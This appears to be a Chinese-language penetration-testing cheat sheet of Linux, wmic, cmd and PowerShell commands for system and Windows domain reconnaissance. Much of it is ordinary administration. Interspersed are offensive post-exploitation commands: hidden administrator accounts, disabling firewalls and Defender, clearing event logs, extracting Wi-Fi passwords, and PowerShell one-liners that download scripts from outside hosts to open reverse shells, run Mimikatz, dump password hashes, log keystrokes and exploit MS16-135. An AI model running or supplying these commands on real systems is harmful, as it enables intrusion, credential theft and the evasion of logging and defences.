本文仅作学习记录，如有侵权，请联系删除
0x01 Linux命令小结：
- 无交互添加用户
useradd book4yi;echo "book4yi:asdasd123123"|chpasswd
useradd abc123;echo -e "pass123\npass123\n" |passwd abc123
查看互联网出口IP及归属地址：
curl cip.ccgrep常用命令：
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r /home --color=auto # 遍历/home目录匹配IP
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r /home --color=auto
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|password|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" /home --color=auto
显示文件隐藏属性：
lsattr evil.exe杀死指定名字的所有进程：
killall vim
pkill -9 php-fpm //结束所有的 php-fpm 进程
pkill -kill -t pts/25 # -t 指定开启进程的终端，用于修改密码后踢出用户
查看用户aaa启动的程序：
ps -ef|grep aaa查看内存占用前5：
ps auxw | head -1;ps auxw|sort -rn -k4|head -5记录每条历史命令的执行时间和执行者：
HISTTIMEFORMAT="%Y-%m-%d:%H-%M-%S:`whoami`:"
显示电脑以及操作系统的相关信息：
uname -a查看系统时间及运行时间：
timedatectl查看系统内核：
lsb_release -a查看操作系统位数：
getconf LONG_BIT临时关闭history记录：
(Space)set +o history用户登录信息：
w # 显示已经登录系统的所用用户，以及正在执行的指令
who # 查看当前登录系统的所有用户（tty 本地登陆 pts 远程登录）
lastlog # 查看所有用户最后一次登录的时间及登录IP
last # 登录成功记录
uptime # 查看登陆多久、多少用户，负载状态
lastb # 登录失败记录
- 查找所有的log文件并删除：
find -name '*.log' -print0 | xargs -0 rm- 查找某时间点之后新建的文件：
find /home/python-tool/ -newermt 2021-04-8q- 在所有文本和二进制文件中查找这个字符串：
find -print0|xargs -0 strings |grep "/usr/lib64/sa"
查看监听端口及网络连接：
netstat -antlpuarp表：
arp -ne监听端口的进程：
lsof -i监控ssh服务：
journalctl -u ssh.service -f实时监控日志：
tail -f /var/log/apache2/access.log
tailf /var/log/apache2/access.log
less + F /var/log/apache2/access.log
- 查看计划任务：
cat /etc/crontab
crontab -l
列出所有服务：
systemctl list-units识别文件类型：
file 1.jpg以树状列出所有块设备，可以列出设备的容量大小信息：
lsblk查看网络流量状况，实时输出流入和留出系统的网络带宽数据：
apt-get install nload
nload eth0
# 或者
apt-get install iftop
iftop
0x02 wmic命令小结：
- 查看windows机器版本和服务位数和.net版本：
wmic OS get Caption,CSDVersion,OSArchitecture,Version - 查看用户列表/组：
wmic useraccount list brief
wmic group list
wmic useraccount where "name='%UserName%'" call rename newUserName // 更改当前用户名
- 查询用户上次登录时间：
wmic netlogin get name,lastlogon,badpasswordcount - 查看系统中网卡的IP地址和MAC地址：
wmic nicconfig get ipaddress,macaddress - 查看计算机补丁安装详情
wmic qfe list
wmic qfe GET hotfixid
wmic qfe get Caption,Description,HotFixID,InstalledOn
- Windows 2003开启3389远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
- Windows 2008和Windows 2012开启远程桌面：
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 适于 Windows 7、8、10，server 2008、2012、2016，注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX RDTOGGLE WHERE ServerName='dc' call SetAllowTSConnections 1
或者
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
- 查看本机服务信息：
wmic service list brief - 列出进程：
Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态
wmic process list brief
wmic process get processid,name,executablepath
查看某个进程的详细信息（包括命令行参数、路径等）：
wmic process where name="chrome.exe" list full获取进程路径，PID，命令行参数等：
wmic process where name="java.exe" get executablepath,name,ProcessId,ParentProcessId,CreationDate,commandline /value根据pid获取进程的详细信息：
wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate查看某个进程的详细信息 （路径，命令行参数等）：``
远程重启目标计算机：
wmic /node:192.168.7.7 /user:administrator /password:1qaz@WSX process call create "shutdown.exe -r -f -t 0"创建新进程
wmic process call create notepad
wmic process call create "C:\Program Files\Tencent\qq.exe"
wmic process call create "shutdown.exe -r -f -t 20"
wmic process call create "cmd.exe /c ipconfig > C:\temp\814ddasd.txt"
- 删除指定进程
wmic process where name="notepad.exe" delete
wmic process where name="qq.exe" call terminate
wmic process where processid="2316" delete
wmic process 2316 call terminate
删除C盘下的test目录：
wmic fsdir "c:\\test" call delete查看系统相关信息（domain/机器型号/机器名/用户名）：
wmic computersystem list brief查看启动项
wmic startup get command,caption
wmic startup list full
wmic startup
wmic startup list brief
查看系统中开启的⽇志：
wmic nteventlog get path,filename,writeable查看共享：
wmic share get name,path,status查询本机所有盘符：
wmic logicaldisk list brief查看安装的软件版本：
wmic product get name,version查看是否为虚拟机：
wmic bios list full | find /i "vmware"查看域控：
wmic ntdomain list brief获取域内所有用户的 SID：
wmic useraccount get name,sid获取机器名：
wmic path win32_computersystem get dnshostname获取系统名称：
wmic path win32_operatingsystem get name查看系统32位还是64位：
wmic path win32_operatingsystem get osarchitecture获取系统域名：
wmic path win32_computersystem get domain获取AV详情：
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe枚举出整个系统中的所有可执行文件：
wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath全盘搜索某文件并获取该文件所在目录：
for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path' ) do (set "qPath=%i%j"&@echo %qPath:~0,-3%)查看当前系统是否有屏保保护，延迟是多少：
wmic desktop get screensaversecure,screensavertimeout
0x03 cmd命令小结：
查看系统版本：
ver重命名文件，可更改后缀名：
rename 1.txt 1.exe查询本机所有盘符：
fsutil fsinfo drives用户相关操作：
net user
net localgroup administrators
创建用户：
net user admin$ Afabab@20 /add
net localgroup administrators admin$ /add
启用用户：
net user Administrator /active:yes
net user guest /active:yes
修改用户密码，添加至管理员组：
net user Administrator xxxxxx
net user guest Qax@123
net localgroup administrators guest /add
net user test 123456 /add #添加用户名为test密码为123456的用户
net localgroup administrators test /add #把test用户提升至管理组
Net localgroup Administrators tent /add /domain # 将域用户添加到域管理员组
#拓展：
1、net不能用时 可以用net1 如net1 user jdq 123456 /add 效果一样，也可以复制net.exe为xxx.exe再执行
2、/add也可以用/ad代替 执行效果一样
3、使用$添加隐藏用户：net user jdq$ 123456 /add
查看当前工作目录：
cd检查自启动文件目录：
dir "%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
dir "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
dir "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup"
dir "%SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "%userprofile%\Start Menu\Programs\Startup"
dir "C:\Windows\Start Menu\Programs\startup"
- 远程下载：
powershell (new-object Net.WebClient).DownloadFile('http://xx.xx.xx.xx:8000/32.exe','C:\Users\996\Desktop\66668.exe')
certutil -urlcache -split -f http://www.csrc.gov.cn/zjhpublic/g00306202/201802/p020180227601471717012.pdf C:\Windows\Temp\2.pdf
# bitsadmin适用于win7及以上
bitsadmin /transfer myDownLoadJob /download /priority normal "http://www.csrc.gov.cn/zjhpublic/g00306202/201802/p020180227601471717012.pdf" "C:\\users\\book4yi\\123.pdf"
创建一个文件夹 book4yi：
md book4yi查找多个类型的文件或某个文件：
# /A：显示具有指定属性的文件
# /S：显示指定目录和所有子目录中的文件
# /T：控制显示或用来分类的时间字符域 -A——上次访问时间 -C——上次访问时间 -W——上次写入时间
dir /A /S /T:A *.exe *.dll *.bat *.PS1 *.zip
for /f %i in ('dir /s /b C:\Users\liulangmao\Desktop\war.txt') do (echo %i > %i\..\finddir.txt)
是否支持powershell：
if defined PSModulePath (echo 支持powershell) else (echo 不支持powershell)查看进程：
tasklist /svc查看端口列表：
netstat -anop
-a 显示所有 -n 不用别名显示，只用数字显示 -p 显示进程号和进程名 -o 显示拥有的与每个连接关联的进程 ID。
查找2017/1/1之后创建的文件：
forfiles /p C:\ /M *.exe /S /D +2021/4/7 /C "cmd /c echo @fdate @ftime @path"搜索2022年1月1日起新增文件的路径、上次修改时间、上次修改日期：
forfiles /m *.exe /d +2022/1/1 /s /p c:/ /c "cmd /c echo @path @fdate @ftime" 2>null
ipc连接相关：
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除文件
net use \\xx.xx.xx.xx\ipc$ \del # 删除IPC
net view xx.xx.xx.xx # 查看对方共享
远程桌面相关：
#查看是否开启3389，0x1表示关闭，0x0表示开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
#修改注册表开启3389
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#或者
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#For Win2003:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#For Win2008:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 查看远程连接端口：
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
# 开启远程桌面（windows 2003)：
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 开启远程桌面（windows 2008和windows 2012）:
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查看系统体系结构：
echo %PROCESSOR_ARCHITECTURE%查看主机开机时间：
net statistics workstation查看当前在线用户：
query user || qwinsta获取本地管理员（通常含有域用户）信息：
net localgroup administrators查看本机共享列表和可访问的域共享列表：
net share查看所有服务状态
service --status-all
systemctl list-unit-files
合并多个文件：
type 1.txt 2.txt > output.txt列出或断开本地计算机与所连接的客户端之间的会话（要管理员权限)：
net session查询路由表及所有可用接口的ARP（地址解析协议）缓存表
route print
arp -a
查看host文件：
type %SYSTEMROOT%\system32\drivers\etc\hosts查找文件大小>20MB的文件：
forfiles /S /M * /C "cmd /c if @fsize GEQ 2097152 echo @path @fsize"导出安全日志（管理员权限）：
wevtutil epl Security "C:\Users\sws123\Desktop\Security-logs.evtx"
wevtutil epl System "C:\Users\sws123\Desktop\System-logs.evtx"
wevtutil epl Application "C:\Users\sws123\Desktop\Application-logs.evtx"
# 清除日志：
wevtutil cl Setup
wevtutil cl System
wevtutil cl Aplication
wevtutil cl security
wevtutil cl Forwarded Events
- 列出接口：
netsh wlan show interface
# 发现所有AP的配置文件，得到ssid，大概率能得到密码：
netsh wlan show profile
# 通过SSID找到Wifi密码：
netsh wlan show profile <SSID> key=clear
# 列出所有可连接wifi详细信息：
netsh wlan show networks mode=bssid
# 获取所有连接过的wifi密码：
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
- 查看代理服务器设置：（可能需要管理员权限）
netsh winhttp show proxy
# 为cmd/powershell设置代理：
netsh winhttp set proxy 127.0.0.1:1080
# 取消代理：
netsh winhttp reset proxy
- 查看计划任务：
schtasks /query /fo list /v
# PS：如果遇到资源无法加载问题，则是由于当前活动页码所致
# 我们可以将活动页码修改为437即可：
chcp 437
递归查找某个文件：
cd /d E: && dir /b /s Logon.aspx递归查找文件内容：
findstr /si password config.* *.ini *.txt//查看后缀名文件中含有password关键字的文件批量扫描内网存活主机，一般内网不会禁ICMP：
for /l %i in (1,1,255) do @ping 10.0.0.%i -w 1 -n 1 | find /i "ttl"批量查找B段存活主机，保存为批处理文件，虚拟机测试谨慎使用
@echo off
for /l %%i in (1,1,255) do (
for /l %%j in (1,25,255) do (
@ ping -w 1 -n 1 10.0.%%i.%%j | find /i "ttl="
)
)
- iptables列出所有规则：
iptables -vnL --line - 防火墙相关：
# 查看防火墙配置：
netsh firewall show config
#关闭防火墙
net stop windefend
# windows server 2003 及之前的版本
netsh firewall set opmode disable
# windows server 2003 及之后的版本
netsh advfirewall set allprofiles state off
netsh firewall set opmode mode=disable
#修改防火墙配置：
#Windows Server 2003系统及之前版本，允许指定程序全部链接：
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
#Windows server 2003 之后系统版本：
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
#允许指定程序连出，命令如下：
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
# 放行远程 8888 端口进来的流量
netsh advfirewall firewall add rule name="88" protocol=TCP dir=in remoteport=8888 action=allow
# 放行出去到远程 8888 端口的流量
netsh advfirewall firewall add rule name="88" protocol=TCP dir=out remoteport=8888 action=allow
#允许 3389 端口放行：
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
netsh firewall set portopening TCP 445 ENABLE # 打开 445 端口
netsh firewall delete allowedprogram C:/A.exe # 删除放行程序 A.exe
netsh firewall add allowedprogram C:/A.exe test ENABLE #添加程序A.exe 并放行
netsh advfirewall firewall add rule name="test" dir=in action=allow program="C:\windows\temp\update.exe" enable=yes # xinban
# 删除规则
netsh advfirewall firewall delete rule name="88
#自定义防火墙日志存储位置：
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
# 启用防火墙日志功能：
netsh firewall set logging droppedpackets = enable
netsh firewall set logging connections = enable
powershell小结：
#下载文件
# powershell2.0 win7
powershell (New-Object Net.WebClient).DownloadFile('http://47.94.80.xxx/ps/a.ps1','E:\phpstudy_pro\WWW\a.ps1')
# powershell3.0及以上（win8之后），内置Invoke-WebRequest (wget)
wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"`
#base64编码
$fileContent = "IEX(new-object System.Net.WebClient).DownloadString('http://www.igg.cas.cn/xwzx/kyjz/201404/W020140417581719774926.pdf')";
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent);
$encoded = [System.Convert]::ToBase64String($bytes);
$encoded
#查询计算机信息：
powershell Get-WmiObject -Class Win32_Operatingsystem
#查询BIOS信息（判断是否为虚拟机）：
powershell Get-WmiObject -Class Win32_BIOS
#查看列出已安装的修补程序
powershell Get-WmiObject -Class Win32_QuickFixEngineering -ComputerName .
powershell Get-WmiObject Win32_QuickFixEngineering
#关闭Windows自带的Defender防火墙(需要管理员权限)：
powershell Set-MpPreference -DisableRealtimeMonitoring $true
#查看是否有AV
powershell Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
#cmd窗口下利用Powershell反弹NC shell ：
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c vps-ip -p 8000 -e cmd
#查看域环境密码策略：
powershell Get-ADDefaultDomainPasswordPolicy
#查看安装软件以及版本
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name, version"
#内置扫描端口(效率低）
powershell -c "1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect(\"10.211.55.10\",$_)) \"Port $_ is open!\"} 2>$null"
#查看PowerShell历史记录：
Get-Content (Get-PSReadlineOption).HistorySavePath
#查看共享
powershell Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share
#查看登录的用户
powershell Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser
# powershell自身删日志：
Clear-Eventlog -LogName Aplication
Clear-Eventlog -LogName Security
Clear-Eventlog -LogName System
#反弹shell：
# 反弹cmd
powershell IEX (New-Object Net.Webclient).DownloadString('http://47.94.9.xx/ps/powercat.ps1'); powercat -c 192.168.203.140 -p 9999 -e cmd
# 反弹powershell
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.203.140 -port 6666
#反弹msf
powershell "IEX(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')"
#提权加账号
powershell -c "& {Import-Module 'c:\Invoke-MS16-135.ps1';Invoke-MS16-135 -Application cmd.exe -commandline '/c net user test test!@#1234 /add'}"
#在线导出hash（需要管理员权限）:
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Get-PassHashes.ps1');Get-PassHashes
#建立隐藏账户（需要管理员权限）:
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Create-Clone.ps1'); Create-Clone -u demo$ -p test123 -cu cseroad
#mimikatz获取明文（需要管理员权限）：
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
#判断是否是虚拟机
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxz/nishang/Gather/Check-VM.ps1');Check-VM
#扫描端口（需要切换到powershell环境）：
IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/PowerSploit/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.167.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389"
#查看各种信息：
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/nishang/Gather/Get-Information.ps1');Get-Information
#获取wifi密码：
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/nishang/Gather/Get-WLAN-Keys.ps1');Get-Wlan-Keys
#DNS反向解析：
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/PowerSploit/Recon/Invoke-ReverseDnsLookup.ps1');Invoke-ReverseDnsLookup '192.168.197.220-192.168.197.240'
#屏幕记录:
powershell IEX (New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/PowerSploit/Exfiltration/Get-TimedScreenshot.ps1');Get-TimedScreenshot -Path E:\ -Interval 5 -EndTime 10:00
#键盘记录：
IEX (New-Object Net.WebClient).DownloadString("http://47.94.80.xxx/ps/PowerSploit/Exfiltration/Get-Keystrokes.ps1");Get-Keystrokes -LogPath .\keylog.txt
内网渗透
# 查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS 名称、登录域
net config Workstation
#查询域控制器，查询域控制器主机名
net group "Domain controllers" /domain
#查看当前网络域环境，查询有几个域，判断当前网络是否存在域的手段之一
net view /domain
#通过上一个命令得到域环境后，查看某个域中的所有计算机主机名：
net view /domain:TESTER（域名）
# 查询域用户列表：
net user /domain
#查询域内所有用户组列表
net group /domain
#系统自带的常见组有：
Domain Admins：域管理员组。
Domain Computers：域内机器。
Domain Controllers：域控制器。
Domain Guest：域访客组，权限较低。
Domain Users：域用户。
Enterprise Admins：企业系统管理员用户
#查看域内管理员，查询域管理用户（DC上执行）
net group "domain admins" /domain
# 查看当前域内机器主机名：
net view
#查看域内控制器的机器名
nltest /DCLIST:xxx
#查看域控制器主机名：
Nslookup -type=SRV _ldap._tcp
#查看域内所有机器名（DC上执行）
net group "domain computers" /domain
# 获取所有的组
net group /domain
#通过机器名获取IP：
tracert owa.god.org
#判断主域，一般域服务器都会同时作为时间服务器
net time /domain
#查看域控制器组
net group "Domain Controllers" /domain
# 获取域信任信息：
nltest /domain_trusts
# 查询域所有spn,也可以查到dc及其主机名,这个命令在搜集计算机分组上也很有用
setspn -T target.com -Q */*
